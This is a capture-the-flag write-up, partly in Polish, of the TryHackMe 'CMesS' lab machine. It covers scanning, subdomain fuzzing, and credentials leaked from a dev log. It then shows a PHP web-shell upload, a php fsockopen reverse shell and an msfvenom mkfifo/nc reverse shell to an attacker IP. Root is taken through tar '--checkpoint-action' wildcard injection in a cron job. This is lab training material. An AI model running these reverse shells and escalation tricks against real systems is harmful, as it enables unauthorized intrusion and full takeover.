CMesS

- https://tryhackme.com/room/cmess

Cel

- user.txt
- root.txt

Ping

```
ping 10.10.138.143
```

```
PING 10.10.138.143 (10.10.138.143) 56(84) bytes of data.
64 bytes from 10.10.138.143: icmp_seq=1 ttl=63 time=54.0 ms
64 bytes from 10.10.138.143: icmp_seq=2 ttl=63 time=53.3 ms
64 bytes from 10.10.138.143: icmp_seq=3 ttl=63 time=53.8 ms
```

- ttl=63 > Linux

Nmap Init

```
nmap -p- 10.10.138.143
```

```
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
```

Nmap Full

```
nmap -sCV -p- 10.10.138.143
```

```
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux;
protocol 2.0)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
```

Gobuster

```
gobuster dir --url 10.10.138.143 --
wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

```
/index (Status: 200) [Size: 3863]
/about (Status: 200) [Size: 3361]
/search (Status: 200) [Size: 3863]
/blog (Status: 200) [Size: 3863]
/login (Status: 200) [Size: 1584]
/1 (Status: 200) [Size: 4094]
/01 (Status: 200) [Size: 4094]
/category (Status: 200) [Size: 3874]
/0 (Status: 200) [Size: 3863]
/themes (Status: 301) [Size: 326] [--> http://10.10.138.143/themes/?
url=themes]
/feed (Status: 200) [Size: 735]
/admin (Status: 200) [Size: 1584]
/assets (Status: 301) [Size: 326] [--> http://10.10.138.143/assets/?
url=assets]
/tag (Status: 200) [Size: 3886]
/author (Status: 200) [Size: 3602]
/Search (Status: 200) [Size: 3863]
/sites (Status: 301) [Size: 324] [--> http://10.10.138.143/sites/?
url=sites]
/About (Status: 200) [Size: 3347]
/log (Status: 301) [Size: 320] [--> http://10.10.138.143/log/?url=log]
/Index (Status: 200) [Size: 3863]
/tags (Status: 200) [Size: 3147]
/1x1 (Status: 200) [Size: 4094]
/lib (Status: 301) [Size: 320] [--> http://10.10.138.143/lib/?url=lib]
/src (Status: 301) [Size: 320] [--> http://10.10.138.143/src/?url=src]
/api (Status: 200) [Size: 0]
/001 (Status: 200) [Size: 4094]
/cm (Status: 500) [Size: 0]
/1pix (Status: 200) [Size: 4094]
/fm (Status: 200) [Size: 0]
/tmp (Status: 301) [Size: 320] [--> http://10.10.138.143/tmp/?url=tmp]
/1a (Status: 200) [Size: 4094]
```

/0001 (Status: 200) [Size: 4094]
/1x1transparent (Status: 200) [Size: 4094]
/INDEX (Status: 200) [Size: 3863]
/1px (Status: 200) [Size: 4094]
/1d (Status: 200) [Size: 4094]
/1_1 (Status: 200) [Size: 4094]
/Author (Status: 200) [Size: 3602]

- /admin
- /login

Wfuzz

- Dodanie ip do /etc/hosts

```
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
-u "http://cmess.thm/" -H "Host: FUZZ.cmess.thm" --hw 290
```

000000019: 200 30 L 104 W 934 Ch **"dev"**

- Dodanie **dev.cmess.thm** do /etc/hosts
- Development Log

andre@cmess.thm

Have you guys fixed the bug that was found on live?

support@cmess.thm

Hey Andre, We have managed to fix the misconfigured .htaccess file, we're hoping to patch it in the upcoming patch!

support@cmess.thm

Update! We have had to delay the patch due to unforeseen circumstances

andre@cmess.thm

That's ok, can you guys reset my password if you get a moment, I seem to be unable to get onto the admin panel.

support@cmess.thm

Your password has been reset. Here: KPFTN_f2yxe%

/admin

- Content > config.php
- array (
  'host' ⇒ 'localhost',
  'user' ⇒ 'root',
  'pass' ⇒ 'r0otus3rpassw0rd',
  'name' ⇒ 'gila',
)

PHP web shell

https://raw.githubusercontent.com/artyuum/Simple-PHP-Web-Shell/master/index.php

- upload do assets
- wejscie na http://10.10.138.143//assets/pws.php
- ustawienie netcata

```
nc -lnvp 4444
```

- reverse shell

```
php -r '$sock=fsockopen("10.11.83.56",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

```
listening on [any] 4444 ...
connect to [10.11.83.56] from (UNKNOWN) [10.10.138.143] 57670
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/var/www/html/assets
$ whoami
www-data
```

- spawning shell

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@cmess:/var/www/html/assets$ export TERM=xterm
export TERM=xterm
www-data@cmess:/var/www/html/assets$
```

PrivEsc

- postawienie servera python

```
python3 -m http.server 8080
```

- przejscie do /tmp/ i pobranie linpeas

```
www-data@cmess:/var/www/html/assets$ cd /tmp/
cd /tmp/
www-data@cmess:/tmp$ wget 10.11.83.56:8080//linpeas.sh
wget 10.11.83.56:8080//linpeas.sh
--2022-09-24 02:01:05--  http://10.11.83.56:8080//linpeas.sh
Connecting to 10.11.83.56:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 825692 (806K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[==========>] 806.34K   779KB/s    in 1.0s

2022-09-24 02:01:06 (779 KB/s) - 'linpeas.sh' saved [825692/825692]

www-data@cmess:/tmp$ ls
ls
VMwareDnD
andre_backup.tar.gz
linpeas.sh
systemd-private-533ddea2a1e54b67835f6ee7a15c4237-systemd-timesyncd.service-
cUWOBc
www-data@cmess:/tmp$
```

```
wget 10.11.83.56:8080//linpeas.sh
--2022-09-24 02:01:05--  http://10.11.83.56:8080//linpeas.sh
Connecting to 10.11.83.56:8080... connected.
```

```
HTTP request sent, awaiting response... 200 OK
Length: 825692 (806K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[==========>] 806.34K   779KB/s    in 1.0s

2022-09-24 02:01:06 (779 KB/s) - 'linpeas.sh' saved [825692/825692]
www-data@cmess:/tmp$ ls
ls
VMwareDnD
andre_backup.tar.gz
linpeas.sh
```

Linpeas

```
www-data@cmess:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@cmess:/tmp$ ./linpeas.sh -t
./linpeas.sh -t
```

```
All hidden files (not in /sys/ or the ones listed in the previous
check) (limit 70)
-rw-r--r-- 1 root root 220 Aug 31 2015 /etc/skel/.bash_logout
-rw-r--r-- 1 root root 1391 Feb 6 2020 /etc/apparmor.d/cache/.features
-rw------- 1 root root 0 Feb 26 2019 /etc/.pwd.lock
-rwxrwxrwx 1 root root 36 Feb 6 2020 /opt/.password.bak
-rw-r--r-- 1 root root 0 Sep 24 01:55 /run/network/.ifstate.lock
-rwxrwxrwx 1 root root 1 Feb 6 2020
```

```
www-data@cmess:/tmp$ cat /opt/.password.bak
cat /opt/.password.bak
andres backup password
UQfsdCB7aAP6
```

SSH

```
ssh andre@10.10.200.118
```

```
andre@cmess:~$ pwd
/home/andre
andre@cmess:~$ id
uid=1000(andre) gid=1000(andre) groups=1000(andre)
andre@cmess:~$
```

```
andre@cmess:~$ ls
backup  user.txt
andre@cmess:~$ cat user.txt
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
```

- Uruchomienie Linpeas raz jeszcze

```
*/2 *   * * *   root    cd /home/mandre/backup && tar -zcf
/tmp/andre_backup.tar.gz *
```

Root

- Wykorzysztanie msfvenom do stworzenia netcat reverse shell

```
msfvenom -p cmd/unix/reverse_netcat lhost=10.11.83.56 lport=6666 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the
payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 89 bytes
mkfifo /tmp/ogfe; nc 10.11.83.56 6666 0</tmp/ogfe | /bin/sh >/tmp/ogfe 2>&1;
rm /tmp/ogfe
```

- Przejscie do /backup

```
andre@cmess:/$ cd home
andre@cmess:/home$ ls
andre
andre@cmess:/home$ cd andre
andre@cmess:~$ l
backup/  user.txt*
andre@cmess:~$ cd backup/
andre@cmess:~/backup$
```

```
echo "mkfifo /tmp/lhennp; nc 10.11.83.56 2345 0</tmp/lhennp | /bin/sh
>/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh

echo "" > "--checkpoint-action=exec=sh shell.sh"

echo "" > --checkpoint=1
```

```
nc -lvnp 2345
```

```
listening on [any] 2345 ...
connect to [10.11.83.56] from (UNKNOWN) [10.10.200.118] 38048
id
uid=0(root) gid=0(root) groups=0(root)

cd /root
ls
root.txt
cat root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}
```